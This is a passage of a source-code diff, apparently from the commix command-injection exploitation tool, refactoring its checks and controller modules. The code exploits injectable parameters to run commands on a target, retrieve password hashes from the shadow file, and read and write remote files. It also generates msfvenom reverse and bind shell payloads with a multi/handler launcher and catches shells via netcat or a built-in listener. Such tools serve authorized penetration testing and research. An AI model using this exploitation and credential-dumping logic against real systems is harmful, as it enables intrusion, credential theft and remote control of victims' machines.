a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.print_data_to_stdout(fields[0]) - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(" " + fields[0]) + logs.add_line(filename, " " + fields[0], group="passwords") else: - warn_msg = "It seems you do not have permission " - warn_msg += "to read the contents of the file '" + settings.SHADOW_FILE + "'." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + err_msg = "Unable to retrieve the password hashes for the operating system users." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + err_msg = "Unable to retrieve the password hashes for the operating system users." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Run the standard enumeration checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own enumeration entry point (see shellshock.py). +""" +def run_enumeration(execute_cmd, filename, url): + ran = False + + if menu.options.hostname: + ran = True + print_enumenation().hostname_msg() + shell = execute_cmd(settings.HOSTNAME) + if shell: + print_hostname(shell, filename, False) + + if menu.options.current_user: + ran = True + print_enumenation().current_user_msg() + shell = execute_cmd(settings.CURRENT_USER) + if shell: + print_current_user(shell, filename, False) + + if menu.options.is_root: + ran = True + print_enumenation().check_privs_msg() + cmd = remove_parenthesis(''.join(re.findall(r"\$(.*)", settings.IS_ROOT))) + shell = execute_cmd(cmd) + if shell: + print_current_user_privs(shell, filename, False) + + if menu.options.sys_info: + ran = True + print_enumenation().os_info_msg() + target_os = execute_cmd(settings.RECOGNISE_OS) + if target_os == "Linux": + distro_name = execute_cmd(settings.DISTRO_INFO) + if distro_name: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + target_arch = execute_cmd(settings.RECOGNISE_HP) + print_os_info(target_os, target_arch, filename, False) + + if menu.options.users: + ran = True + print_enumenation().print_users_msg() + cmd = remove_command_substitution(settings.SYS_USERS) + shell = execute_cmd(cmd) + if shell: + print_users(shell, filename, False, None, None, cmd, None, None, None, None, url, None, interpreter=False) + + if menu.options.passwords: + ran = True + print_enumenation().print_passes_msg() + cmd = remove_command_substitution(settings.SYS_PASSES) + shell = execute_cmd(cmd) + if shell: + print_passes(shell, filename, False, interpreter=False) + + if ran: + settings.ENUMERATION_DONE = True + +""" +Run the single --os-cmd execution via the given execute_cmd(cmd) -> output callback. +""" +def run_single_os_cmd(execute_cmd, filename): + cmd = menu.options.os_cmd + print_enumenation().print_single_os_cmd_msg(cmd) + shell = execute_cmd(cmd) + print_single_os_cmd(cmd, shell, filename) """ Print single OS command """ def print_single_os_cmd(cmd, output, filename): if len(output) > 1: - _ = "'" + cmd + "' execution output" - settings.print_data_to_stdout(settings.print_retrieved_data(_, output)) - try: - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + str(output.encode(settings.DEFAULT_CODEC).decode()) + settings.END_LINE.LF) - except TypeError: - pass + settings.print_data_to_stdout(settings.print_retrieved_data("Execution output", output)) + logs.add_line(filename, "Executed command: " + cmd, group="command:" + cmd) + logs.add_line(filename, str(output), group="command:" + cmd) else: err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) @@ -2835,7 +2838,6 @@ def escape_single_quoted_cmd(cmd): Find filename """ def find_filename(dest_to_write, content): - # Build absolute paths to avoid relying on the shell's working directory. norm_dest = dest_to_write.replace("\\", "/") dirpath = os.path.dirname(norm_dest) fname = norm_dest @@ -2940,11 +2942,7 @@ def file_read_status(shell, file_to_read, filename): if shell: _ = "Retrieved file content" settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) - if not menu.options.no_logging: - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + settings.END_LINE.LF - output_file.write(re.compile(settings.ANSI_COLOR_REMOVAL).sub("",settings.INFO_BOLD_SIGN) + info_msg) + logs.add_line(filename, "Extracted content of the file '" + file_to_read + "': " + shell, group="file:" + file_to_read) else: warn_msg = "Retrieved no content for the file '" + file_to_read + "'. " warn_msg += "This could mean the file does not exist, is empty, or you do not have permission to read it." @@ -3014,6 +3012,28 @@ def file_write_status(shell, dest_to_write): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +Run the standard file-access checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own file-access entry point (see shellshock.py). +""" +def run_file_access(execute_cmd, filename): + ran = False + + if menu.options.file_write: + ran = True + file_to_write, dest_to_write, content = check_file_to_write() + execute_cmd(write_content(content, dest_to_write)) + shell = execute_cmd(remove_command_substitution(check_file(dest_to_write))) + file_write_status(shell, dest_to_write) + + if menu.options.file_read: + ran = True + cmd, file_to_read = file_content_to_read() + shell = execute_cmd(remove_command_substitution(cmd)) + file_read_status(shell, file_to_read, filename) + + if ran: + settings.FILE_ACCESS_DONE = True + def define_vulnerable_http_header(http_header_name): if http_header_name == settings.USER_AGENT.lower(): settings.USER_AGENT_INJECTION = True @@ -3049,7 +3069,7 @@ def setting_writable_dir(path): debug_msg = "Using '" + path + "' for writable directory." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) info_msg = "Attempting to create a file in directory '" + path - info_msg += "' for command execution output. " + info_msg += "' for execution output. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ @@ -3076,7 +3096,7 @@ def define_py_working_dir(): """ Checks for identified vulnerable parameter """ -def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter): +def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, title=None): # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True @@ -3117,38 +3137,59 @@ def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 + announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, title=title) + +""" +Drop the "command injection"/"injection" filler word from a technique name, for the terse +inline "appears to be injectable via ..." message - the stored/summary form keeps it. +""" +def short_technique_label(technique): + return technique_display_name(technique).replace("command injection ", "").replace("injection ", "") + +""" +Full label of a technique, with its injection type - "classic results-based technique". +""" +def technique_label(injection_type, technique): + name = short_technique_label(technique) + if name.endswith(" technique"): + name = name[:-len(" technique")] + return name + settings.SINGLE_WHITESPACE + injection_type.split(settings.SINGLE_WHITESPACE)[0] + " technique" + +""" +Display name of a technique - a "/tmp/" output file is a file-based mechanism, not its own technique. +""" +def technique_display_name(technique): + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return settings.INJECTION_TECHNIQUE.FILE_BASED + return technique + +""" +Record a newly-identified injectable finding to the log file and terminal - the shared tail of identified_vulnerable_param() above, reusable by modules (see shellshock.py) with their own header_name/the_type. +""" +def announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, type_prefix="", decode_payload=True, title=None): + display_method = "HTTP Header" if "header" in the_type.lower() else http_request_method + logs.add_finding(filename, injection_type, technique, display_method, vuln_parameter, payload, title) if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - else: - total_of_requests() - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + type_prefix + technique_label(injection_type, technique) + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - sub_content = str(url_decode(payload)) - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) + decoded_payload = str(url_decode(payload)) if decode_payload else payload + if not settings.LOAD_SESSION: + settings.CONFIRMED_INJECTION_POINTS.append((technique, injection_type, vuln_parameter, decoded_payload, display_method, settings.TOTAL_OF_REQUESTS, title)) """ Finalize injection process """ -def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): +def finalize(exit_loops, no_result, i, total, injection_type, technique, shell): if exit_loops == False: if settings.VERBOSITY_LEVEL == 0: - percent = print_percentage(float_percent, no_result, shell) - injection_process(injection_type, technique, percent) - return True - else: - return True + # Finished means a shell was found, or every combination was tried without one. + done = bool(shell) or (no_result and total and i >= total) + injection_process(injection_type, technique, done=done, i=i, total=total) + return True else: return False @@ -3194,10 +3235,9 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon """ -Return TEMP path for win / *nix targets. +TEMP path for win/*nix, without touching WEB_ROOT or prompting. """ -def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): - # Set temp path +def default_tmp_path(): if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\\TEMP\\" @@ -3205,12 +3245,13 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" + return normalize_target_dir(menu.options.tmp_path or settings.TMP_PATH) - if menu.options.tmp_path: - tmp_path = menu.options.tmp_path - else: - tmp_path = settings.TMP_PATH - tmp_path = normalize_target_dir(tmp_path) +""" +Return TEMP path for win / *nix targets. +""" +def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): + tmp_path = default_tmp_path() if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT @@ -3239,14 +3280,9 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler path = tmp_path setting_writable_dir(path) - # Runs mid file-based-technique, so label the detour or it reads as file-based's - # own result showing up in the wrong place. - info_msg = "Switching to the tempfile-based injection technique." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - settings.SKIP_NEXT_TECHNIQUE_TITLE = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb == False: - info_msg = "Resuming the file-based command injection technique tests." + info_msg = "Resuming the " + settings.INJECTION_TECHNIQUE.FILE_BASED + " tests." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return call_tfb else: @@ -3258,11 +3294,10 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) while True: - message = "Insufficient permissions on directory '" + settings.WEB_ROOT + "'. " + message = "Unable to write to '" + settings.WEB_ROOT + "'. " message += "Do you want to use '" + tmp_path + "' instead? [Y/n] " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: - exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: @@ -3291,12 +3326,11 @@ def time_related_timesec(): min_safe_delay = max(settings.MIN_SAFE_TIMESEC_UNSTABLE, settings.UNSTABLE_REQUEST_BUMPS) else: min_safe_delay = settings.MIN_SAFE_TIMESEC - # Never start below the measured baseline, or normal slow responses look delayed. - # x2: detection-phase checks run before the adaptive baseline has enough samples to take over, so this flat margin needs to hold up on its own. if settings.URL_TIME_RESPONSE: min_safe_delay = max(min_safe_delay, settings.URL_TIME_RESPONSE + settings.TIME_DELAY_STEP * 2) if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL != 0 and min_safe_delay != settings.REPORTED_MIN_SAFE_TIMESEC: + settings.REPORTED_MIN_SAFE_TIMESEC = min_safe_delay debug_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + " second" + ("s" if min_safe_delay > 1 else "") + ". In case of inconsistencies, it will be auto-increased." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return min_safe_delay @@ -3334,12 +3368,7 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim Success msg. """ def shell_success(option): - info_msg = "Sending payload to target, for " + option + " TCP connection " - if settings.BIND_TCP: - info_msg += "against " + settings.RHOST - else: - info_msg += "on " + settings.LHOST - info_msg += ":" + settings.LPORT + "." + info_msg = "Sending selected payload to the target." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ @@ -3356,6 +3385,54 @@ def windows_only_attack_vector(): error_msg = "This attack vector is available only for Windows targets." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) +""" +Append the separator once more if a custom injection marker changed where the payload lands - the shared tail repeated across every payloads.py. +""" +def append_custom_marker(payload, separator): + if settings.CUSTOM_INJECTION_MARKER: + return payload + separator + return payload + +""" +Rewrite LF characters in a file-based payload for header-based injection modes, or CRLF-normalize for non-Windows targets - the shared "new line fixation" logic in fb_payloads.py. +""" +def fix_newlines_for_headers(payload, separator): + if settings.USER_AGENT_INJECTION or settings.REFERER_INJECTION or settings.HOST_INJECTION or settings.CUSTOM_HEADER_INJECTION: + return payload.replace(settings.END_LINE.LF, separator) + if settings.TARGET_OS != settings.OS.WINDOWS: + return payload.replace(settings.END_LINE.LF, "%0d") + return payload + +""" +Generate an msfvenom payload and write its multi/handler .rc launcher, returning the payload's raw output - the shared logic behind bind_tcp.py's/reverse_tcp.py's PHP and Python meterpreter/bind shell options. +""" +def generate_msf_payload(payload, output, host_key, host_value, extra_msfvenom_args, strip_newlines): + subprocess.Popen( + "msfvenom -p " + str(payload) + + " " + host_key + "=" + str(host_value) + + " LPORT=" + str(settings.LPORT) + + extra_msfvenom_args + " -o " + output + settings.NO_OUTPUT, + shell=True + ).wait() + + with open(output, "r+" if strip_newlines else "r") as content_file: + data = ''.join(content_file.readlines()) + if strip_newlines: + data = data.replace(settings.END_LINE.LF, settings.SINGLE_WHITESPACE) + + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + os.remove(output) + + with open(output, 'w+') as filewrite: + filewrite.write( + "use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set " + host_key.lower() + " " + str(host_value) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2 + ) + return data + """ Message regarding the MSF handler. """ @@ -3372,10 +3449,7 @@ def msf_launch_msg(output): Check for available shell options. """ def shell_options(option): - if option.lower() == "reverse_tcp" or option.lower() == "bind_tcp" : - warn_msg = "You are in the '" + option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": + if option.lower() == "?": menu.reverse_tcp_options() elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() @@ -3395,13 +3469,14 @@ def shell_options(option): settings.print_data_to_stdout(settings.print_error_msg(err_msg)) else: check_rhost(option[10:]) - if option.lower() == "reverse_tcp": + if option.lower() == "reverse_tcp": if option[4:10].lower() == "lport ": check_lport(option[10:]) if option[4:12].lower() == "srvport ": check_srvport(option[12:]) if option[4:12].lower() == "uripath ": check_uripath(option[12:]) + else: return option @@ -3430,7 +3505,7 @@ def set_php_working_dir(): def set_python_working_dir(): while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] " + message += "' as default Python interpreter on the target host? [Y/n] " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break @@ -3446,29 +3521,38 @@ def set_python_working_dir(): """ Check if to use '/bin' standard subdirectory """ +""" +A random path under '/tmp' - a fixed name would clash between concurrent sessions and is trivially predictable. +""" +def random_tmp_path(length=5): + return "/tmp/" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) + def use_bin_subdir(nc_alternative, shell): - while True: - message = "Do you want to use '/bin' standard subdirectory? [y/N] " + # Asked once per run - every "run" re-asking the same question is just noise. + while settings.USE_BIN_SUBDIR_CHOICE is None: + message = "Use '/bin/' as the path prefix for shell and netcat? [y/N] " enable_bin_subdir = common.read_input(message, default="N", check_batch=True) if enable_bin_subdir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - return nc_alternative, shell + settings.USE_BIN_SUBDIR_CHOICE = True elif enable_bin_subdir in settings.CHOICE_NO: - return nc_alternative, shell + settings.USE_BIN_SUBDIR_CHOICE = False elif enable_bin_subdir in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(enable_bin_subdir) pass + if settings.USE_BIN_SUBDIR_CHOICE: + return "/bin/" + nc_alternative, "/bin/" + shell + return nc_alternative, shell + """ Set up the Python interpreter on linux target host. """ def set_python_interpreter(): while True: message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] " + message += "' as default Python interpreter on the target host? [Y/n] " python_interpreter = common.read_input(message, default="Y", check_batch=True) if python_interpreter in settings.CHOICE_YES: break @@ -3569,5 +3653,21 @@ def check_uripath(uripath): settings.URIPATH = uripath settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) return True - + +""" +check / set handler option - catch the shell with a built-in listener instead of an external nc/ncat. +""" +def check_handler(value): + value = value.strip().lower() + if value in settings.CHOICE_YES or value in ("on", "1", "true"): + settings.HANDLER = True + elif value in settings.CHOICE_NO or value in ("off", "0", "false"): + settings.HANDLER = False + else: + err_msg = "The 'HANDLER' option accepts on/off (or yes/no, true/false)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + settings.print_data_to_stdout("HANDLER => " + ("on" if settings.HANDLER else "off")) + return True + # eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e7bd83c6ed..f660ff3d09 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -15,7 +15,6 @@ import re import os -import sys import time import random import string @@ -31,9 +30,7 @@ from src.core.modules import modules_handler from src.core.requests import authentication from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.blind.techniques.time_based import tb_handler from src.core.injections.semiblind.techniques.file_based import fb_handler from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler @@ -77,6 +74,7 @@ def basic_payload_generator(): "%26echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 ] settings.BASIC_COMMAND_INJECTION_RESULT = re.escape(marker1) + r"\s*" + re.escape(str(rand_a + rand_b)) + r"\s*" + re.escape(marker2) + """ Initializing basic level check status """ @@ -110,7 +108,6 @@ def check_for_stored_sessions(url, check_parameter, http_request_method): settings.STORED_TECHNIQUES = {} if not menu.options.ignore_session and not menu.options.flush_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - # Check every call site instead of only the first parameter or header. url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) # Load stored techniques once so each can resume without re-querying storage. settings.STORED_TECHNIQUES = session_handler.load_stored_techniques(url, check_parameter, http_request_method) @@ -125,7 +122,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites tmp_url = url payload, prefix = parameters.prefixes(payload, prefix="") payload, suffix = parameters.suffixes(payload, suffix="") - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + payload = checks.tamper_outside_single_quotes(payload, lambda part: part.replace(settings.SINGLE_WHITESPACE, whitespace)) if settings.IS_JSON: payload = _urllib.parse.unquote(payload) payload = checks.perform_payload_modification(payload) @@ -169,7 +166,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites """ Heuristic (basic) test for command injection """ -def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): +def command_injection_heuristic_basic(url, http_request_method, check_parameter): check_parameter = check_parameter.lstrip().rstrip() checks.perform_payload_modification(payload="") basic_payload_generator() @@ -193,13 +190,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True - possible_os = ('Unix-like', 'Windows')[_ != 1] + possible_os = ('Unix-like shell', 'Windows')[_ != 1] if settings.OS.UNIX.lower() in possible_os.lower(): settings.TARGET_OS = settings.OS.UNIX else: settings.TARGET_OS = settings.OS.WINDOWS info_msg = "Heuristic (basic) test shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible operating system: '" + possible_os + "')." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) settings.SKIP_CODE_INJECTIONS = True break @@ -214,7 +211,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, """ Heuristic (basic) test for code injection warnings """ -def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): +def code_injections_heuristic_basic(url, http_request_method, check_parameter): check_parameter = check_parameter.lstrip().rstrip() injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE @@ -240,6 +237,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t info_msg = "Heuristic (basic) test shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.SKIP_COMMAND_INJECTIONS = True break settings.EVAL_BASED_STATE = False @@ -249,21 +247,31 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Run one technique via the given exploit() callable, updating its own state flag in settings - the shared skeleton behind the 4 functions below. +""" +def run_technique(injection_type, technique, state_name, skip_flag_name, tech_letter, exploit): + setattr(settings, state_name, None) + if not getattr(settings, skip_flag_name): + if len(menu.options.tech) == 0 or tech_letter in menu.options.tech: + setattr(settings, state_name, exploit() != False) + state = getattr(settings, state_name) + if state == None or getattr(settings, skip_flag_name): + checks.skipping_technique(technique, injection_type, state) + """ Check if it's exploitable via classic command injection technique. """ def classic_command_injection_technique(url, timesec, filename, http_request_method): injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI technique = settings.INJECTION_TECHNIQUE.CLASSIC - settings.CLASSIC_STATE = None - if not settings.SKIP_COMMAND_INJECTIONS: - if (len(menu.options.tech) == 0 or "c" in menu.options.tech): - if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - else: - settings.CLASSIC_STATE = False - if settings.CLASSIC_STATE == None or settings.SKIP_COMMAND_INJECTIONS: - checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) + def exploit(): + result = cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + if result != False: + settings.IDENTIFIED_COMMAND_INJECTION = True + settings.SKIP_CODE_INJECTIONS = True + return result + run_technique(injection_type, technique, "CLASSIC_STATE", "SKIP_COMMAND_INJECTIONS", "c", exploit) """ Check if it's exploitable via dynamic code evaluation technique. @@ -271,15 +279,12 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE - settings.EVAL_BASED_STATE = None - if not settings.SKIP_CODE_INJECTIONS: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): - if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - settings.EVAL_BASED_STATE = True - else: - settings.EVAL_BASED_STATE = False - if settings.EVAL_BASED_STATE == None or not settings.SKIP_CODE_INJECTIONS: - checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE) + def exploit(): + result = eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + if result != False: + settings.SKIP_COMMAND_INJECTIONS = True + return result + run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "e", exploit) """ Check if it's exploitable via time-based command injection technique. @@ -287,15 +292,12 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.TIME_BASED - settings.TIME_BASED_STATE = None - if not settings.SKIP_COMMAND_INJECTIONS: - if (len(menu.options.tech) == 0 or "t" in menu.options.tech): - if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - else: - settings.TIME_BASED_STATE = False - if settings.TIME_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: - checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE) + def exploit(): + result = tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + if result != False: + settings.IDENTIFIED_COMMAND_INJECTION = True + return result + run_technique(injection_type, technique, "TIME_BASED_STATE", "SKIP_COMMAND_INJECTIONS", "t", exploit) """ Check if it's exploitable via file-based command injection technique. @@ -303,33 +305,28 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = settings.INJECTION_TYPE.SEMI_BLIND technique = settings.INJECTION_TECHNIQUE.FILE_BASED - settings.FILE_BASED_STATE = None - if not settings.SKIP_COMMAND_INJECTIONS: - if (len(menu.options.tech) == 0 or "f" in menu.options.tech): - # Resume parameters resolved via tempfile fallback instead of retrying file-based first. - if settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED in settings.STORED_TECHNIQUES \ - and settings.INJECTION_TECHNIQUE.FILE_BASED not in settings.STORED_TECHNIQUES: - # Skip the writable-directory prompt when resuming without live probing. - result = tfb_handler.exploitation(url, timesec, filename, "", http_request_method, url_time_response) - else: - result = fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) - if result != False: - settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - else: - settings.FILE_BASED_STATE = False - if settings.FILE_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: - checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) + def exploit(): + if settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED in settings.STORED_TECHNIQUES \ + and settings.INJECTION_TECHNIQUE.FILE_BASED not in settings.STORED_TECHNIQUES: + # Skip the writable-directory prompt when resuming, but still need a real tmp_path. + result = tfb_handler.exploitation(url, timesec, filename, checks.default_tmp_path(), http_request_method, url_time_response) + else: + result = fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + if result != False: + settings.IDENTIFIED_COMMAND_INJECTION = True + return result + run_technique(injection_type, technique, "FILE_BASED_STATE", "SKIP_COMMAND_INJECTIONS", "f", exploit) """ Check parameter in HTTP header. """ def check_parameter_in_http_header(check_parameter): + inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower(): if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: inject_http_headers = True else: - inject_http_headers = False init_http_header_injection_status() return inject_http_headers @@ -466,7 +463,6 @@ def build(value): settings.TESTABLE_VALUE = placeholder settings.TESTABLE_VALUE_OPTIMIZED = True session_handler.import_testable_value_status(url, check_parameter, http_request_method, placeholder) - # Don't reset settings.RESPONSE_TIMES - MIN_SAFE_TIMESEC already floors timesec, and resetting forces a slow, silent re-warm-up. if settings.VERBOSITY_LEVEL != 0: debug_msg = "The real parameter value isn't required. Skipping it for faster requests." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -479,7 +475,7 @@ def build(value): """ Proceed to the injection process for the appropriate parameter. """ -def injection_proccess(url, check_parameter, http_request_method, filename, timesec): +def injection_process(url, check_parameter, http_request_method, filename, timesec): settings.NOT_TESTABLE_PARAMETERS = False check_parameter_dynamism(url, http_request_method, check_parameter) @@ -538,8 +534,6 @@ def _ensure_time_warmup(): url_time_response = 0 else: timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) - checks.warm_up_response_baseline(url, http_request_method) - checks.check_lagging() # Load modules modules_handler.load_modules(url, http_request_method, filename) @@ -550,6 +544,8 @@ def _ensure_time_warmup(): settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == settings.COOKIE : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) + elif the_type == "HTTP Header": + settings.CHECKING_PARAMETER += check_parameter.title() + " HTTP Header" else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) @@ -572,15 +568,12 @@ def _ensure_time_warmup(): try: if not (len(menu.options.tech) == 1 and "e" in 